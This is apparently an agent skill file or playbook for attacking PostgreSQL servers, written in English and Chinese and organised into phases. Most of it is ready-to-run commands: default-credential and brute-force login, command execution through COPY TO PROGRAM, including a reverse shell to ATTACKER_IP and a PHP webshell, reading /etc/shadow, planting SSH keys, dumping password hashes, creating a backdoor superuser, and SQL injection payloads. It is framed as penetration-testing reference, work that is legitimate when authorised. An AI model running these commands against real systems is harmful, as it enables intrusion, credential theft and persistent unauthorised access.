postgresql-attack

PostgreSQL penetration testing and exploitation

PostgreSQL listens on port 5432 by default. Its powerful SQL engine combined with rich system functions and extension mechanisms means that once connection privileges are obtained, going from file read/write to operating system command execution requires only a few SQL statements.

In-depth reference (required reading)

• Full exploitation commands and payloads -> read references/attack-techniques.md

---

Phase 1: Service Discovery

1.1 Port Scanning and Version Identification

# Nmap 版本探测
nmap -sV -p 5432 TARGET

PostgreSQL Information Gathering Script

nmap -p 5432 --script pgsql-brute TARGET

### 1.2 手动连接测试

```bash
# 测试连通性（无密码）
psql -h TARGET -U postgres -c "SELECT version();"

# 测试连通性（有密码）
PGPASSWORD=postgres psql -h TARGET -U postgres -c "SELECT version();"

Key Judgment：

• Version information returned -> connected, proceed to Phase 3
• Returned no pg_hba.conf entry -> client IP is not in the whitelist, bypass required
• Returned password authentication failed -> password required, proceed to Phase 2
• Connection timeout -> port blocked by firewall

---

Phase 2: Authentication Detection

2.1 pg_hba.conf Authentication Modes

# 常见认证方式（影响攻击路径）
trust    — 无需密码，任何人可连接（最危险）
md5      — MD5 哈希认证（可爆破）
scram    — SCRAM-SHA-256 认证（较安全）
peer     — 仅本地 Unix socket，用户名匹配系统用户

2.2 Default Credential Attempts

# 常见默认用户和密码组合
PGPASSWORD=postgres psql -h TARGET -U postgres -c "SELECT 1;"
PGPASSWORD=admin psql -h TARGET -U admin -c "SELECT 1;"
PGPASSWORD=password psql -h TARGET -U postgres -c "SELECT 1;"
PGPASSWORD=123456 psql -h TARGET -U postgres -c "SELECT 1;"
psql -h TARGET -U postgres -c "SELECT 1;"  # trust 认证无需密码

2.3 Brute Force

# Hydra
hydra -L users.txt -P passwords.txt postgres://TARGET

# Nmap
nmap -p 5432 --script pgsql-brute TARGET

# Medusa
medusa -h TARGET -U users.txt -P passwords.txt -M postgres

# Metasploit
msf> use auxiliary/scanner/postgres/postgres_login
msf> set RHOSTS TARGET
msf> run

---

Phase 3: Attack Decision Tree

已连接 PostgreSQL？
├─ 查询当前权限
│   SELECT current_user, current_database();
│   SELECT rolsuper, rolcreaterole, rolcreatedb FROM pg_roles WHERE rolname = current_user;
│
├─ SUPERUSER 权限
│   ├─ COPY TO PROGRAM 可用 -> RCE (Phase 4.1)
│   ├─ pg_read_file 可用 -> 任意文件读取 (Phase 4.2)
│   ├─ COPY FROM/TO 可用 -> 文件读写 (Phase 4.3)
│   ├─ Large Object 接口 -> 二进制文件读写 (Phase 4.4)
│   ├─ CREATE LANGUAGE -> plpython/plperlu RCE (Phase 4.5)
│   └─ pg_authid 可查 -> 凭据提取 (Phase 5.2)
│
├─ 普通用户权限
│   ├─ pg_read_file 可用（PG >= 14 默认组权限）-> 文件读取 (Phase 4.2)
│   ├─ dblink 扩展已加载 -> 内网横向 / 提权 (Phase 4.6)
│   ├─ pg_execute_server_program 组成员 -> COPY TO PROGRAM RCE
│   ├─ information_schema 可查 -> 数据库枚举 (Phase 5.1)
│   └─ 尝试提权 -> ALTER ROLE / GRANT (Phase 6)
│
└─ SQL 注入场景
    ├─ 堆叠注入可用 -> COPY TO PROGRAM RCE
    ├─ UNION 注入 -> 数据提取
    ├─ 时间盲注 -> pg_sleep() 探测
    └─ 报错注入 -> CAST 类型转换报错

Initial Information Gathering

# 当前用户与权限
psql -h TARGET -U postgres -c "SELECT current_user, current_database();"
psql -h TARGET -U postgres -c "SELECT rolsuper, rolcreaterole, rolcreatedb FROM pg_roles WHERE rolname = current_user;"

# 已安装扩展
psql -h TARGET -U postgres -c "SELECT * FROM pg_extension;"

# 可用语言
psql -h TARGET -U postgres -c "SELECT * FROM pg_language;"

# PostgreSQL 版本
psql -h TARGET -U postgres -c "SELECT version();"

# 数据目录
psql -h TARGET -U postgres -c "SHOW data_directory;"

# 配置文件路径
psql -h TARGET -U postgres -c "SHOW config_file;"
psql -h TARGET -U postgres -c "SHOW hba_file;"

---

Phase 4: RCE and File Operations Quick Reference

4.1 COPY TO PROGRAM Command Execution (requires SUPERUSER)

# 直接执行系统命令
psql -h TARGET -U postgres -c "COPY (SELECT '') TO PROGRAM 'id';"

# 反弹 Shell
psql -h TARGET -U postgres -c "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"';"

# 写入 webshell
psql -h TARGET -U postgres -c "COPY (SELECT '<?php system(\$_GET[\"cmd\"]); ?>') TO PROGRAM 'tee /var/www/html/shell.php';"

4.2 File Reading

# pg_read_file（SUPERUSER 或 pg_read_server_files 组）
psql -h TARGET -U postgres -c "SELECT pg_read_file('/etc/passwd');"
psql -h TARGET -U postgres -c "SELECT pg_read_file('/var/lib/postgresql/data/pg_hba.conf');"

# pg_read_binary_file（读取二进制文件）
psql -h TARGET -U postgres -c "SELECT encode(pg_read_binary_file('/etc/shadow'), 'hex');"

# COPY FROM 读文件到临时表
psql -h TARGET -U postgres -c "CREATE TEMP TABLE tmp(content text); COPY tmp FROM '/etc/passwd'; SELECT * FROM tmp;"

4.3 File Writing

# COPY TO 写文件
psql -h TARGET -U postgres -c "COPY (SELECT 'malicious content') TO '/tmp/output.txt';"

# 写 SSH 公钥
psql -h TARGET -U postgres -c "COPY (SELECT 'ssh-rsa AAAA... attacker@host') TO '/var/lib/postgresql/.ssh/authorized_keys';"

4.4 Large Object File Read/Write

# 导入文件为 Large Object
psql -h TARGET -U postgres -c "SELECT lo_import('/etc/passwd');"
# 返回 OID（如 12345）

# 读取 Large Object 内容
psql -h TARGET -U postgres -c "SELECT convert_from(lo_get(12345), 'UTF8');"

# 导出 Large Object 到文件
psql -h TARGET -U postgres -c "SELECT lo_export(12345, '/tmp/exfil.txt');"

# 清理
psql -h TARGET -U postgres -c "SELECT lo_unlink(12345);"

4.5 plpython/plperlu RCE

# 创建不受信任的 PL 语言（需 SUPERUSER）
psql -h TARGET -U postgres -c "CREATE LANGUAGE plpython3u;"

# 创建执行命令的函数
psql -h TARGET -U postgres -c "
CREATE OR REPLACE FUNCTION cmd_exec(cmd text) RETURNS text AS \$\$
import subprocess
return subprocess.check_output(cmd, shell=True).decode()
\$\$ LANGUAGE plpython3u;"

# 执行命令
psql -h TARGET -U postgres -c "SELECT cmd_exec('id');"
psql -h TARGET -U postgres -c "SELECT cmd_exec('cat /etc/passwd');"

# plperlu 替代方案
psql -h TARGET -U postgres -c "CREATE LANGUAGE plperlu;"
psql -h TARGET -U postgres -c "
CREATE OR REPLACE FUNCTION cmd_exec(cmd text) RETURNS text AS \$\$
  my \$output = qx(\$_[0]);
  return \$output;
\$\$ LANGUAGE plperlu;"

4.6 dblink Lateral Movement

# 加载 dblink 扩展
psql -h TARGET -U postgres -c "CREATE EXTENSION IF NOT EXISTS dblink;"

# 连接内网其他 PostgreSQL
psql -h TARGET -U postgres -c "SELECT dblink_connect('conn1', 'host=INTERNAL_TARGET port=5432 user=postgres password=postgres dbname=postgres');"

# 通过 dblink 执行远程查询
psql -h TARGET -U postgres -c "SELECT * FROM dblink('conn1', 'SELECT usename, passwd FROM pg_shadow') AS t(usename text, passwd text);"

# 通过 dblink 执行远程命令（远程需 SUPERUSER）
psql -h TARGET -U postgres -c "SELECT dblink_exec('conn1', 'COPY (SELECT '''') TO PROGRAM ''id''');"

-> more methods and full payloads -> read references/attack-techniques.md

---

Phase 5: Data Extraction Quick Reference

5.1 Database Enumeration

# 列出所有数据库
psql -h TARGET -U postgres -c "\l"

# 列出所有表
psql -h TARGET -U postgres -d DATABASE_NAME -c "\dt *.*"

# 列出所有 Schema
psql -h TARGET -U postgres -d DATABASE_NAME -c "\dn"

# 列出所有角色
psql -h TARGET -U postgres -c "\du"

# 搜索敏感表名
psql -h TARGET -U postgres -d DATABASE_NAME -c "SELECT tablename FROM pg_tables WHERE tablename LIKE '%password%' OR tablename LIKE '%secret%' OR tablename LIKE '%user%';"

# 搜索敏感列名
psql -h TARGET -U postgres -d DATABASE_NAME -c "SELECT table_name, column_name FROM information_schema.columns WHERE column_name LIKE '%password%' OR column_name LIKE '%secret%' OR column_name LIKE '%token%';"

5.2 Credential Extraction

# pg_authid（需 SUPERUSER，包含密码哈希）
psql -h TARGET -U postgres -c "SELECT rolname, rolpassword FROM pg_authid;"

# pg_shadow（旧版兼容视图）
psql -h TARGET -U postgres -c "SELECT usename, passwd FROM pg_shadow;"

# 输出格式示例:
#   md5 哈希: md5<32位hex>（md5 + MD5(password + username)）
#   SCRAM 哈希: SCRAM-SHA-256$<iterations>:<salt>$<stored_key>:<server_key>

5.3 Data Export

# pg_dump 导出整个数据库
pg_dump -h TARGET -U postgres DATABASE_NAME > dump.sql

# pg_dump 仅导出特定表
pg_dump -h TARGET -U postgres -t table_name DATABASE_NAME > table_dump.sql

# pg_dumpall 导出所有数据库（含角色信息）
pg_dumpall -h TARGET -U postgres > full_dump.sql

# COPY 导出查询结果到 CSV
psql -h TARGET -U postgres -d DATABASE_NAME -c "COPY (SELECT * FROM users) TO STDOUT WITH CSV HEADER;"

---

Phase 6: Privilege Escalation

# 检查当前权限
psql -h TARGET -U postgres -c "SELECT rolname, rolsuper, rolcreaterole, rolcreatedb, rolcanlogin FROM pg_roles;"

# 检查特权组成员
psql -h TARGET -U postgres -c "SELECT r.rolname, m.rolname AS member_of FROM pg_auth_members am JOIN pg_roles r ON am.roleid = r.oid JOIN pg_roles m ON am.member = m.oid;"

Privilege Escalation Paths

当前权限？
├─ 有 CREATEROLE 权限
│   ├─ GRANT pg_execute_server_program TO current_user; -> COPY TO PROGRAM RCE
│   ├─ GRANT pg_read_server_files TO current_user; -> 任意文件读取
│   └─ GRANT pg_write_server_files TO current_user; -> 任意文件写入
│
├─ 可修改 pg_hba.conf（通过文件写入）
│   └─ 改为 trust 认证 -> 以 SUPERUSER 重新登录
│
├─ 已有 SUPERUSER
│   ├─ ALTER ROLE attacker WITH SUPERUSER; -> 给其他用户提权
│   └─ CREATE ROLE backdoor WITH SUPERUSER LOGIN PASSWORD 'pass'; -> 创建后门账户
│
└─ dblink 可用
    └─ 通过 dblink 以 postgres 身份本地连接（可能绕过认证）

---

SQL Injection Quick Reference

# 版本探测
' UNION SELECT NULL, version()--

# 当前用户
' UNION SELECT NULL, current_user--

# 数据库列表
' UNION SELECT NULL, datname FROM pg_database--

# 表列表
' UNION SELECT NULL, tablename FROM pg_tables WHERE schemaname='public'--

# 时间盲注
'; SELECT pg_sleep(5)--

# 堆叠注入 + RCE（最高威胁）
'; COPY (SELECT '') TO PROGRAM 'curl http://ATTACKER_IP/rce'--

# 报错注入（提取数据）
' AND 1=CAST((SELECT version()) AS int)--

# 布尔盲注
' AND (SELECT SUBSTRING(version(),1,1))='P'--

---

Tools Quick Reference

Tool	Purpose
psql	PostgreSQL Official Client
pgcli	Enhanced client with autocompletion
pg_dump / pg_dumpall	Database Export Tool
hydra / medusa	PostgreSQL Password Brute Force
nmap pgsql-brute	Nmap built-in brute force script
sqlmap	SQL Injection Automated Detection and Exploitation
Metasploit	PostgreSQL module collection (login/enumeration/RCE)

---

Notes

• COPY TO PROGRAM was introduced in PostgreSQL 9.3+, unavailable in lower versions
• pg_read_file by default can only read files under data_directory , SUPERUSER can read any path
• plpython3u / plperlu in u means untrusted, only SUPERUSER can create
• Large Object operations must be executed within a transaction; psql autocommit by default requires attention
• PostgreSQL logs record all executed SQL, pay attention to log_statement configuration level
• pg_hba.conf after modification requires SELECT pg_reload_conf(); or restart to take effect
• Cloud-hosted PostgreSQL (RDS/Cloud SQL) usually disables COPY TO PROGRAM and filesystem access